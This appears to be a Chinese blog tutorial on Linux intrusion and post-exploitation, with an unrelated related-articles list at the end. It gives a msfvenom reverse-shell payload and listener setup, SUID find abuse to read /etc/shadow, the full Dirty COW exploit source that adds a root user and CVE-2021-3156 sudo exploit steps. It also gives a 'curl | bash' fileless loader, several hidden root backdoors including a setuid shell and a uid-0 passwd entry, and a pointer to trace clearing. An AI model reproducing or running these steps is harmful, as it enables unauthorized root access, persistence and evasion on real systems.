我的内网渗透-linux

news/2024/11/9 10:09:56/

目录

基础渗透

msfvomen木马生成

开启监听

下载运行木马

会话提升

信息搜集

linux提权

suid粘滞位提权

普通用户修改不了密码原因

利用find进行提权

内核提权:脏牛漏洞

步骤:

sudo提权

    影响范围

    漏洞探测

无文件连接

后门植入

第一种

第二种

第三种

linux漏洞库

痕迹清除


基础渗透

msfvomen木马生成

msfvenom -a x86 -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f elf -o /var/www/html/linux.elf
#-a 表示架构
#-f 指定输出的格式
#这里不能使用重定向

开启监听

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
setg LHOST 192.168.0.107
setg LPORT 4444
exploit / run

下载运行木马

wget http://192.168.0.107/linux.elf
#直接从网络上下载运行木马
#需要赋予执行权限#或者scp /var/www/html/linux.elf 192.168.0.120:/root/
#直接发送到对方的主机 
#需要赋予执行权限

会话提升

python -c "import pty;pty.spawn('/bin/bash')"
#在meterpreter中使用shell命令后,在输入这个命令 就可以进入 [root@localhost ~]# 
#我们本身时什么权限,会话提之后就是什么权限

信息搜集

cat /proc/cpuinfo
#查看cpu信息cat /var/lib/mysql/mysql/user.MYD       
#mysql密码默认位置路径cat /etc/passwd		
#普通用户可以查看,内容是账号密码信息(密码放在shadow里)/sbin/ifconfig -a			 
#查看网络的配置信息crontab -l				   
#列出计划任务dpkg -l 						
#查看安装包(根据安装的包的版本找漏洞)
#ubuntu的命令cat /etc/*release		
#查看发行版信息(centenos和ubuntu都可以)cat /proc/version	
#查看内核版本的全部信息(都适用)uname -a 	
#查看内核版本的全部信息(都适用)

linux提权

suid粘滞位提权

普通用户修改不了密码原因

cd 到根目录,可以看到bin是以软连接形式到/usr/bin目录,

lrwxrwxrwx.   1 root root     7 Apr 19 16:05 bin -> usr/bin

在bin目录下查看passwd权限,看到有一个s的特殊权限,普通用户是可以以管理员用户权限来使用这个命令

-rwsr-xr-x. 1 root root      27856 Mar 31  2020 passwd

普通用户查看shadow文件的时候,权限是拒绝的
cat: /etc/shadow: Permission denied

find原来的权限

-rwxr-xr-x. 1 root root 199304 Oct 30  2018 usr/bin/find

find / -perm -u=s -type f 2>/dev/null	
#查找具有suid应用程序(默认以root权限执行的程序 -u=s  粘滞位 4xxx)
#find 	指令
#/ 		根目录(查找位置)
#-perm 	权限
#-u		用户(s=特权)
#-type	类型
#f		文件
#2>/dev/nul	过滤错误信息(不显示错误信息) 

利用find进行提权

find /etc/passwd -exec whoami \;  
#找到文件,执行whoami命令。
#执行这一条命令,执行结果只显示后面的命令chmod u+s /bin/find 
#给find加上特殊权限s(让使用find命令的用户可以以普通用户的身份去拥有等同于root用户使用find的权限)find /etc/passwd -exec cat /etc/shadow \;
#使用这个语句可以让普通用户访问shadow文件

内核提权:脏牛漏洞

脚本网址

https://github.com/FireFart/dirtycow/blob/master/dirty.c

可以两种形式下载该脚本文件:

        ①直接用windows访问网站下载下来进行查看文件,然后把文件拷贝内容到目标主机进行创建c语言文件(比较好用)

        ②直接用wget进行下载

脏牛的c语言文件内容

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;struct Userinfo {char *username;char *hash;int user_id;int group_id;char *info;char *home_dir;char *shell;
};char *generate_password_hash(char *plaintext_pw) {return crypt(plaintext_pw, salt);
}char *generate_passwd_line(struct Userinfo u) {const char *format = "%s:%s:%d:%d:%s:%s:%s\n";int size = snprintf(NULL, 0, format, u.username, u.hash,u.user_id, u.group_id, u.info, u.home_dir, u.shell);char *ret = malloc(size + 1);sprintf(ret, format, u.username, u.hash, u.user_id,u.group_id, u.info, u.home_dir, u.shell);return ret;
}void *madviseThread(void *arg) {int i, c = 0;for(i = 0; i < 200000000; i++) {c += madvise(map, 100, MADV_DONTNEED);}printf("madvise %d\n\n", c);
}int copy_file(const char *from, const char *to) {// check if target file already existsif(access(to, F_OK) != -1) {printf("File %s already exists! Please delete it and run again\n",to);return -1;}char ch;FILE *source, *target;source = fopen(from, "r");if(source == NULL) {return -1;}target = fopen(to, "w");if(target == NULL) {fclose(source);return -1;}while((ch = fgetc(source)) != EOF) {fputc(ch, target);}printf("%s successfully backed up to %s\n",from, to);fclose(source);fclose(target);return 0;
}int main(int argc, char *argv[])
{// backup fileint ret = copy_file(filename, backup_filename);if (ret != 0) {exit(ret);}struct Userinfo user;// set values, change as neededuser.username = "firefart";user.user_id = 0;user.group_id = 0;user.info = "pwned";user.home_dir = "/root";user.shell = "/bin/bash";char *plaintext_pw;if (argc >= 2) {plaintext_pw = argv[1];printf("Please enter the new password: %s\n", plaintext_pw);} else {plaintext_pw = getpass("Please enter the new password: ");}user.hash = generate_password_hash(plaintext_pw);char *complete_passwd_line = generate_passwd_line(user);printf("Complete line:\n%s\n", complete_passwd_line);f = open(filename, O_RDONLY);fstat(f, &st);map = mmap(NULL,st.st_size + sizeof(long),PROT_READ,MAP_PRIVATE,f,0);printf("mmap: %lx\n",(unsigned long)map);pid = fork();if(pid) {waitpid(pid, NULL, 0);int u, i, o, c = 0;int l=strlen(complete_passwd_line);for(i = 0; i < 10000/l; i++) {for(o = 0; o < l; o++) {for(u = 0; u < 10000; u++) {c += ptrace(PTRACE_POKETEXT,pid,map + o,*((long*)(complete_passwd_line + o)));}}}printf("ptrace %d\n",c);}else {pthread_create(&pth,NULL,madviseThread,NULL);ptrace(PTRACE_TRACEME);kill(getpid(), SIGSTOP);pthread_join(pth,NULL);}printf("Done! Check %s to see if the new user was created.\n", filename);printf("You can log in with the username '%s' and the password '%s'.\n\n",user.username, plaintext_pw);printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",backup_filename, filename);return 0;
}

步骤:

    1.上传脏牛到靶机
    2.对脏牛漏洞进行编译:

gcc -pthread dirty.c -o dirty -lcrypt
#对c语言文件进行编译
#可能不存在gcc,没有的话就对其下载  yum -y install gcc
#直接复制粘贴脚本文件,可能在开头缺少东西会报错。在虚拟机粘贴都是可能存在报错的,我用wsl中的centenos7进行编译就没问题了


    3.使用漏洞

chmod u+x dirty
#赋予编译完的脏牛脚本可执行权限。如果不能赋予权限报错的话,那么可以切换到家目录下面进行权限修改./dirty 
#运行编译完的文件########################
运行成功的样子 
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: #默认用户是firefart########################
攻击完成的样子
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'Aa123456'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd########################
攻击完成没有创建用户成功说明
此内核漏洞与2017就被修复,除非是2017至今天没有更新过的系统才存在此漏洞

    4.换源/etc/passwd
    mv /tmp/passwd.bak /etc/passwd

sudo提权

    影响范围

        Sudo 1.8.2 - 1.8.31p2
        Sudo 1.9.0 - 1.9.5p1

    漏洞探测

sudo -V
#查看当前系统版本是否在影响范围

  用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令,
        若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
        不受影响的系统将显示以“ usage:”开头的错误响应。
    poc地址: https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
    利用
        get https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
        tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
        cd CVE-2021-3156
        chmod u+x *
        make
        ./sudo-hax-me-a-sandwich 0

无文件连接

wget -qO - http://IP/file | bash
curl http://IP/file | bash

后门植入

第一种

复制/bin/bash到任意文件夹,然后以普通用户的权限去运行复制出来的文件,从而得到管理员权限

cp /bin/bash /tmp/shell
#复制/bin/bash到/tmp/shell文件中chmod u+s /tmp/shell
#赋予shell特殊权限s./shell -p
#运行shell得到权限。
#没加-p就只是普通用户权限

第二种

利用脚本进行提权

①创建一个c语言脚本文件

#include <stdlib.h>
main(){setuid(0);system("/bin/bash");
}

②编译脚本文件

gcc shell.c -o shell

③给脚本文件运行权限以及特殊权限s

chmod 4777 shell

④隐藏文件到其他比较唬人的文件夹

mv /tmp/shell /usr

⑤切换成普通用户,运行该文件就可以得到管理员权限

./shell 

第三种

/etc/passwd后门

第①种

在复制passwd中的root用户的那一行内容到文件中间或者后面,家目录不与root相同。相当于新建了一个uid为0的用户,还是比较容易发现的。

test:x:0:0:root:/test:/bin/bash
#可以直接切换到test用户,具有管理员权限

第②种

相当于创建一个与root用户共用家目录的用户

openssl passwd 密码
#生成有效密码(就是passwd中加密过后的密码)echo ssdbb:PUvXtuNOGSUBc:0:0:TEST:/root:/bin/bash >> /etc/passwd
#创建一个与root用户共用家目录的用户。登陆该账号之后,显示的用户还是root。
#登陆样子 [root@localhost qita]# 

注意:只要将用户的uid和家目录改成一样的,登陆进去就是你所修改的用户

linux漏洞库

    https://github.com/qazbnm456/awesome-cve-poc
    https://github.com/SecWiki/linux-kernel-exploits

痕迹清除

https://download.csdn.net/download/h1825819493/87918551


http://www.ppmy.cn/news/427953.html

相关文章

【SpringBoot】SpringBoot Starter 作用及原理

文章目录 前言一、什么是 Starter二、Starter 的作用三、spring 整合组件四、spring-boot 整合组件五、Starter 原理 前言 有没有在入行后直接基于 SpringBoot 开发项目&#xff0c;没有 spring、servlet 开发经历的? 有没有用 SpringBoot 开发项目&#xff0c;但是第一次听…

Java之面向对象

Java之面向对象 一切皆对象。 编译型语言&#xff1a;编译器会将我们编写的源码一次性地编译成计算机可识别的二进制文件&#xff0c;然后计算机直接执行。如c、c等。 解释型语言&#xff1a;在程序运行时&#xff0c;解释器会一行行读取我们的代码&#xff0c;然后实时地将这…

苹果新专利曝光:AirTags可以快速找到Apple Pencil

近日&#xff0c;据外媒报道&#xff0c;苹果一项新专利提出&#xff0c;苹果手写笔可以通过“声学谐振器”来帮助用户找出手写笔的位置。根据这项专利&#xff0c;苹果试图在手写笔的笔盖上加入一个被动元件&#xff0c;以响应特定的声波频率。iPhone、iPad或Apple Watch会发出…

在Windows中,开机自启动

在Windows中&#xff0c;你可以按照以下步骤设置程序的开机自启动&#xff1a; 1 使用快捷键 Win R 打开运行对话框。 2 输入 shell:startup 并点击 确定&#xff0c;这将打开当前用户的启动文件夹。 3在启动文件夹中创建一个程序的快捷方式。可以右键点击文件或程序&#…

搜狗拼音输入法 打不了中文

问题 window10 搜狗拼音输入法打不了中文 解决 无论怎么重装&#xff0c;修复都无效 其实是智能英文被打开了&#xff0c;关闭即可ctrlshifte

Ubuntu拼音打不了中文

前言&#xff1a;在最初安装ubuntu已经选择了中文&#xff0c;但后面拼音输出不了。 点击右上角图标&#xff1a; 点击区域与语言、点击号&#xff1a; 汉语&#xff08;中国&#xff09;->汉语&#xff08;Pinyin&#xff09;->添加&#xff0c;如下所示即可&#xff1…